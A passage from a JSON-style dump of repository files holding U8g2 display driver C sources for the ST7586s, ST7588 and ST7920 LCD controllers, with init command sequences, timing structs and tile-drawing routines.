else\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_s028hn118a_flip1_seq);\n      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n    }\t\n    break;\n  default:\n    return 0;\n  }\n  return 1;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_st7586s_ymc240160.c",
    "content": "/*\n  u8x8_d_st7586s_ymc240160.c\n\n  Display: 240x160 pixel\n  ST7586s: 384 x 160 x 2\n\n  takeover from https://github.com/olikraus/u8g2/issues/1183\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n  \n  Copyright (c) 2020, olikraus@gmail.com\n  \n  All rights reserved.\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n#include \"u8g2.h\"\n\n\nstatic const uint8_t u8x8_d_st7586s_sleep_on[] = {\n  U8X8_START_TRANSFER(),  /* enable chip, delay is part of the transfer start */\n  U8X8_C(0x010), /* set power save mode */\n  U8X8_END_TRANSFER(),  /* disable chip */\n  U8X8_END()                  /* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7586s_sleep_off[] = {\n  U8X8_START_TRANSFER(),  /* enable chip, delay is part of the transfer start */\n  U8X8_C(0x011), //Sleep out\n  U8X8_DLY(50), /* delay 50 ms */\n  U8X8_END_TRANSFER(),  /* disable chip */\n  U8X8_END()                  /* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7586s_ymc240160_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x036),  /* Scan Direction Setting */\n  U8X8_A(0x080),\t/* COM159 -> COM0 SEG383 -> SEG0 */\n  U8X8_C(0x037),\t/* Start line 0 */\n  U8X8_A(0x000),\n  U8X8_END_TRANSFER(),  /* disable chip */\n  U8X8_END()           \t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7586s_ymc240160_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x036),  /* Scan Direction Setting */\n  U8X8_A(0x000),  /* COM0 -> COM159 SEG0 -> SEG383 */\n  U8X8_C(0x037),  /* Start line 0 */\n  U8X8_A(0x000),\n  U8X8_END_TRANSFER(),  /* disable chip */\n  U8X8_END()            /* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7586s_ymc240160_init_seq[] = {\n  U8X8_START_TRANSFER(),/* enable chip */\n  U8X8_END_TRANSFER(),/* disable chip */\n // U8G_ESC_RST(1), /* hardware reset */\n  U8X8_DLY(60),   /* Delay 60 ms */\n  U8X8_START_TRANSFER(),/* enable chip */\n\n  U8X8_C(0x001), // Soft reset\n  U8X8_DLY(60), // Delay 120 ms\n\n  U8X8_C(0x011), // Sleep Out\n  U8X8_C(0x028), // Display OFF\n  U8X8_DLY(25), // Delay 50 ms\n\n  U8X8_CAA(0x0C0,0x036,0x01),// Vop = 136h data sheet suggested 0x0145 but this caused streaks\n\n  U8X8_CA(0x0C3,0x000), // BIAS = 1/14\n\n  U8X8_CA(0x0C4,0x007), // Booster = x8\n\n  U8X8_CA(0x0D0,0x01D), // Enable Analog Circuit\n\n  U8X8_CA(0x0B3,0x000), // Set FOSC divider\n\n  U8X8_CA(0x0B5,0x000), // N-Line = 0\n\n  U8X8_C(0x039), // 0x39 Monochrome mode. 0x38 - gray Mode\n\n  U8X8_C(0x03A), // Enable DDRAM Interface\n  U8X8_A(0x002), // monochrome and 4-level\n\n  U8X8_C(0x036), // Scan Direction Setting\n  U8X8_A(0x080), // COM:C159->C0   SEG: SEG383->SEG0\n\n  U8X8_C(0x0B1), // First output COM\n  U8X8_A(0x000), // \n  \n  U8X8_C(0x0B0), // Duty Setting (num rows - 1)\n  U8X8_A(0x09F), \n\n  U8X8_C(0x020), // Display inversion off\n\n  U8X8_C(0x02A), // Column Address Setting\n  U8X8_A(0x000), // COL0 -> COL127\n  U8X8_A(0x000), // \n  U8X8_A(0x000), //\n  U8X8_A(0x04F), // 80*3=240 pixels\n\n  U8X8_C(0x02B), // Row Address Setting\n  U8X8_A(0x000), // ROW0 -> ROW159\n  U8X8_A(0x000), //\n  U8X8_A(0x000), //\n  U8X8_A(0x09F), // 160 pixels\n\n  U8X8_C(0x029), // Display ON\n  U8X8_END_TRANSFER(),/* disable chip */\n  U8X8_END()  /* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_st7586s_ymc240160_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n\n  /* post_chip_enable_wait_ns = */ 5,\n  /* pre_chip_disable_wait_ns = */ 5,\n  /* reset_pulse_width_ms = */ 1,\n  /* post_reset_wait_ms = */ 6,\n  /* sda_setup_time_ns = */ 20,\n  /* sck_pulse_width_ns = */  100,  /* datasheet ST7586S */\n  /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* ST7586+Atmega128RFA1 works with 8MHz */\n  /* spi_mode = */ 3,   /* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 20, /* datasheet suggests min 20 */\n  /* write_pulse_width_ns = */ 40,\n  /* tile_width = */ 30,\n  /* tile_height = */ 20,\n  /* default_x_offset = */ 0,  /* abused as flag to know if we are flipped */\n  /* flipmode_x_offset = */ 1, /* as pixel order different for normal/flipped  */\n  /* pixel_width = */ 240,\n  /* pixel_height = */ 160\n};\n\n/*  takeover from https://github.com/olikraus/u8g2/issues/1183 */\nuint8_t u8x8_d_st7586s_ymc240160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) \n{  \n  uint8_t c;\n  uint8_t *ptr;\n  uint8_t i, byte;\n  uint32_t input;\n  uint8_t output[8];\n//  uint8_t output[4];\n  switch (msg) {\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n    u8x8_cad_StartTransfer(u8x8); // OK Start transfer\n    u8x8_cad_SendCmd(u8x8, 0x02B);  /* Row Address Setting */\n    u8x8_cad_SendArg(u8x8, 0x000);\n    u8x8_cad_SendArg(u8x8, 0x008 * ((u8x8_tile_t *)arg_ptr)->y_pos);\n    u8x8_cad_SendArg(u8x8, 0x000);\n//    u8x8_cad_SendArg(u8x8, 0x09F); // should set end row based on display dimensions\n    u8x8_cad_SendArg(u8x8, u8x8->display_info->pixel_height - 1);  /* should this be u8x8->display_info->pixel_height - 1 */\n    u8x8_cad_SendCmd(u8x8, 0x02C);  /* cmd write display data to ram */\n    c = ((u8x8_tile_t *) arg_ptr)->cnt; //\n    c *= 8;\n    ptr = ((u8x8_tile_t *) arg_ptr)->tile_ptr;  //\n\n    while (c > 0) \n    {\n      input = (((uint32_t)ptr[0] << 16) | ((uint32_t)ptr[1] << 8) | (uint32_t)ptr[2]);\n      for (i=0; i<8; i++)\n      {\n        byte = 0;\n        if (input & 0x800000)          // if bit 23\n            byte = byte | 0xC0;  //set pixel 1\n        if (input & 0x400000)          // if bit 22\n            byte = byte | 0x18;  //set pixel 2\n        if (input & 0x200000)          // if bit 22\n            byte = byte | 0x3;  //set pixel 3\n        output[i] = byte;\n        input <<= 3;\n      }\n      u8x8_cad_SendData(u8x8, 8, output);\n      ptr += 3;\n      c -= 3;\n    }\n    u8x8_cad_EndTransfer(u8x8); \n    break;\n  case U8X8_MSG_DISPLAY_INIT:\n    u8x8_d_helper_display_init(u8x8);\n    u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_ymc240160_init_seq);\n    break;\n  case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n    u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7586s_ymc240160_display_info);\n    break;\n  case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n  \tif ( arg_int == 0 )\n    {\n       u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_ymc240160_flip0_seq);\n       u8x8->x_offset = u8x8->display_info->default_x_offset;\n    }\n    else\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_ymc240160_flip1_seq);\n      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n    }\t\n    break;\n  case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n    if (arg_int == 0)\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_sleep_off);\n    else\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_sleep_on);\n    break;\n#ifdef U8X8_WITH_SET_CONTRAST\n  case U8X8_MSG_DISPLAY_SET_CONTRAST:\n    u8x8_cad_StartTransfer(u8x8);\n    u8x8_cad_SendCmd(u8x8, 0x0C0);\n    u8x8_cad_SendArg(u8x8, arg_int);\n    u8x8_cad_SendArg(u8x8, 1);\n    u8x8_cad_EndTransfer(u8x8);\n    break;\n#endif\n  default:\n    return 0;\n  }\n  return 1;\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_st7588.c",
    "content": "/*\n\n  u8x8_d_st7588.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2017, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n  ST7588\n    - has 4 different I2C addresses \n    - I2C protocol is identical to SSD13xx\n  \n*/\n\n\n#include \"u8x8.h\"\n\n/* function set, bit 2: power down, bit 3: MY, bit 4: MX, bit 5: must be 1 */\n#define FS (0x020)\n\n/* not a real power down for the ST7588... just a display off */\nstatic const uint8_t u8x8_d_st7588_128x64_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C( FS | 0x00 ),\t\t\t/* select 00 commands */\n  //U8X8_C( 0x08 ),\t\t\t\t/* display off */\n  U8X8_C( 0x0c ),\t\t\t\t/* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7588_128x64_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C( FS | 0x00 ),\t\t\t/* select 00 commands */\n  U8X8_C( 0x08 ),\t\t\t\t/* display off */\n  //U8X8_C( 0x0c ),\t\t\t\t/* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n\n\nstatic uint8_t u8x8_d_st7588_128x64_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7588_128x64_display_info);\n      break;\n    */\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7588_128x64_init_seq);    \n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7588_128x64_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7588_128x64_powersave1_seq);\n\n      /* restore orientation */\n      if ( u8x8->x_offset == 0 )\n\tu8x8_cad_SendCmd(u8x8, FS );\t/* select 00 commands */\n      else\n\tu8x8_cad_SendCmd(u8x8, FS ^ 0x018 );\t/* select 00 commands */\n      \n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n\n      u8x8_cad_StartTransfer(u8x8);\n      \n      u8x8_cad_SendCmd(u8x8, FS );\n      u8x8_cad_SendArg(u8x8, 4 | (arg_int>>7) );\n      u8x8_cad_SendCmd(u8x8, FS | 1);\n      u8x8_cad_SendArg(u8x8, 0x080 | arg_int );\n      \n      /* restore orientation */\n      if ( u8x8->x_offset == 0 )\n\tu8x8_cad_SendCmd(u8x8, FS );\t/* select 00 commands */\n      else\n\tu8x8_cad_SendCmd(u8x8, FS ^ 0x018 );\t/* select 00 commands */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      \n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 8;\n      \n      x += u8x8->x_offset;\n    \n      if ( u8x8->x_offset == 0 )\n\tu8x8_cad_SendCmd(u8x8, FS );\t/* select 00 commands */\n      else\n\tu8x8_cad_SendCmd(u8x8, FS ^ 0x018 );\t/* select 00 commands */\n\t\n      u8x8_cad_SendCmd(u8x8, 0x040 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n      u8x8_cad_SendCmd(u8x8, 0x0e0 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0f0 | (x>>4) );\n    \n      \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tu8x8_cad_SendData(u8x8, c*8, ptr); \t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*=============================================*/\n\nstatic const u8x8_display_info_t u8x8_st7588_128x64_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 150,\n  /* pre_chip_disable_wait_ns = */ 30,\n  /* reset_pulse_width_ms = */ 5, \t\n  /* post_reset_wait_ms = */ 5, \t\t/**/\n  /* sda_setup_time_ns = */ 60,\t\t/* */\n  /* sck_pulse_width_ns = */ 60,\t/*  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\t/* 400KHz */\n  /* data_setup_time_ns = */ 80,\n  /* write_pulse_width_ns = */ 50,\t\n  /* tile_width = */ 16,\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\t/* must be 0, because this is checked also for normal mode */\n  /* flipmode_x_offset = */ 4,\t\t\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\n\n\nstatic const uint8_t u8x8_d_st7588_128x64_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  U8X8_C( FS | 0x03 ),\t\t\t/* select 11 commands */\n  U8X8_C( 0x03 ),\t\t\t\t/* software reset */\n\n  U8X8_C( FS | 0x00 ),\t\t\t/* select 00 commands */\n  U8X8_C( 0x08 ),\t\t\t\t/* display off */\n  //U8X8_C( 0x0c ),\t\t\t\t/* display on */\n  \n  U8X8_C( FS | 0x01 ),\t\t\t/* select 01 commands */\n  U8X8_C( 0x08 ),\t\t\t\t/* display confguration */\n  U8X8_C( 0x12 ),\t\t\t\t/* bias 1/9 */\n  U8X8_C( 0x8f ),\t\t\t\t/* Vop, lower 7 bits */\n  \n  U8X8_C( FS | 0x00 ),\t\t\t/* select 00 commands */\n  U8X8_C( 0x05),\t\t\t\t/* Bit 0 contains high/low range for Vop */\n  \n  \n  U8X8_C( FS | 0x03 ),\t\t\t/* select 11 commands */\n  U8X8_C( 0x0b),\t\t\t\t/* Frame Rate: 73 Hz */\n  \n  \n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const uint8_t u8x8_d_st7588_jlx12864_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C( FS ),\t\t\t\t\t/* normal mode */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7588_jlx12864_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C( FS ^ 0x018 ),\t\t\t\t\t/* normal mode */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_st7588_jlx12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  if ( u8x8_d_st7588_128x64_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n  {\n    u8x8_SetI2CAddress(u8x8, 0x07e);\t\t/* the JLX12864 has 0x07e as a default address for I2C */\n    u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7588_128x64_display_info);\n    return 1;\n  }\n  else if ( msg == U8X8_MSG_DISPLAY_INIT )\n  {\n    u8x8_d_helper_display_init(u8x8);\n    u8x8_cad_SendSequence(u8x8, u8x8_d_st7588_128x64_init_seq);    \n    return 1;\n  }\n  else if  ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE )\n  {\n    if ( arg_int == 0 )\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7588_jlx12864_flip0_seq);\n      u8x8->x_offset = u8x8->display_info->default_x_offset;\n    }\n    else\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7588_jlx12864_flip1_seq);\n      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n    }\n    return 1;\n  }\n  return 0;\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_st7920.c",
    "content": "/*\n\n  u8x8_d_st7920.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  The ST7920 controller does not support hardware graphics flip.\n  Contrast adjustment is done by an external resistor --> no support for contrast adjustment\n  \n  \n*/\n#include \"u8x8.h\"\n\n\n\nstatic const uint8_t u8x8_d_st7920_init_seq[] = {\n    \n  U8X8_DLY(100),\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_DLY(10),\n  \n  U8X8_C(0x038),            \t\t\t/* 8 Bit interface (DL=1), basic instruction set (RE=0) */\n  U8X8_C(0x008),\t\t                /* display on, cursor & blink off; 0x08: all off */\n  U8X8_C(0x006),\t\t                /* Entry mode: Cursor move to right ,DDRAM address counter (AC) plus 1, no shift  */  \n  U8X8_C(0x002),\t\t                /* disable scroll, enable CGRAM adress  */\n  U8X8_C(0x001),\t\t                /* clear RAM, needs 1.6 ms */\n  U8X8_DLY(4),\t\t\t\t\t/* delay 2ms */\n\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7920_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x038),            \t\t\t/* 8 Bit interface (DL=1), basic instruction set (RE=0) */\n  U8X8_C(0x00c),\t\t                /* display on, cursor & blink off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7920_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x038),            \t\t\t/* 8 Bit interface (DL=1), basic instruction set (RE=0) */\n  U8X8_C(0x008),\t\t                /* display off */\n  U8X8_C(0x034), /* 8 Bit interface (DL=1), extended instruction set (RE=1) */\n  U8X8_C(0x001), /* Standby mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_st7920_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, y, c, i;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* U8X8_MSG_DISPLAY_SETUP_MEMORY is handled by the calling function */\n    /*\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      break;\n    */\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7920_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7920_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7920_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      y = (((u8x8_tile_t *)arg_ptr)->y_pos);\n      y*=8;\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x /= 2;\t\t/* not sure whether this is a clever idea, problem is, the ST7920 can address only every second tile */\n    \n      if ( y >= 32 )\t/* this is the adjustment for 128x64 displays */\n      {\n\ty-=32;\n\tx+=8;\n      }\n    \n      u8x8_cad_StartTransfer(u8x8);\n        \n\n      /* \n\tTile structure is reused here for the ST7920, however u8x8 is not supported \n\ttile_ptr points to data which has cnt*8 bytes (same as SSD1306 tiles)\n\tBuffer is expected to have 8 lines of code fitting to the ST7920 internal memory\n\t\"cnt\" includes the number of horizontal bytes. width is equal to cnt*8\n\tAlso important: Width must be a multiple of 16 (ST7920 requirement), so cnt must be even.\n\t\n\tTODO: Consider arg_int, however arg_int is not used by u8g2\n      */\n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\t/* number of tiles */\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\t/* data ptr to the tiles */\n      /* The following byte is sent to allow the ST7920 to sync up with the data */\n      /* it solves some issues with garbage data */\n      u8x8_cad_SendCmd(u8x8, 0x03e );\t/* enable extended mode */\n      u8x8_cad_SendCmd(u8x8, 0x03e );\t/* enable extended mode, issue 487 */\n      for( i = 0; i < 8; i++ )\n      {\n\t//u8x8_cad_SendCmd(u8x8, 0x03e );\t/* enable extended mode */\n\tu8x8_cad_SendCmd(u8x8, 0x080 | (y+i) );      /* y pos  */\n\tu8x8_cad_SendCmd(u8x8, 0x080 | x );      /* set x pos */\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\t/* number of tiles */\n\n\t//u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, 200, NULL);\t/* extra dely required */\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes, send one line of data */\n\tptr += c;\n\t//u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, 200, NULL);\t/* extra dely required */\n      }\n\n      u8x8_cad_EndTransfer(u8x8);\n\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n/*=== 144x32 === */\n/* https://github.com/olikraus/u8g2/issues/209 */\n\nstatic const u8x8_display_info_t u8x8_st7920_144x32_display_info =\n{\n  /* chip_enable_level = */ 1,\n  /* chip_disable_level = */ 0,\n  \n  /* post_chip_enable_wait_ns = */ 5,\n  /* pre_chip_disable_wait_ns = */ 5,\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \n  /* sda_setup_time_ns = */ 20,\t\t\n  /* sck_pulse_width_ns = */  140,\t/* datasheet ST7920 */\n  /* sck_clock_hz = */ 1000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 3,\t\t/* old: sck_takeover_edge, new: active high (bit 1), rising edge (bit 0), 18 Aug 16: changed from 1 to 3 which works for 101 */\n\t/* Arduino mode 3: aktive low clock, but use rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\n  /* write_pulse_width_ns = */ 40,\n  /* tile_width = */ 18,\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 144,\n  /* pixel_height = */ 32\n};\n\n\nuint8_t u8x8_d_st7920_144x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7920_144x32_display_info);\n      break;\n    default:\n      return u8x8_d_st7920_common(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\n\n\n\n\n\n\n\n\n/*=== 160x32 === */\n/* https://github.com/olikraus/u8g2/issues/1873, POWERTIP PG-16032LRU-BWH-H-P2 */\n\nstatic const u8x8_display_info_t u8x8_st7920_160x32_display_info =\n{\n  /* chip_enable_level = */ 1,\n  /* chip_disable_level = */ 0,\n  \n  /* post_chip_enable_wait_ns = */ 5,\n  /* pre_chip_disable_wait_ns = */ 5,\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \n  /* sda_setup_time_ns = */ 20,\t\t\n  /* sck_pulse_width_ns = */  140,\t/* datasheet ST7920 */\n  /* sck_clock_hz = */ 1000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 3,\t\t/* old: sck_takeover_edge, new: active high (bit 1), rising edge (bit 0), 18 Aug 16: changed from 1 to 3 which works for 101 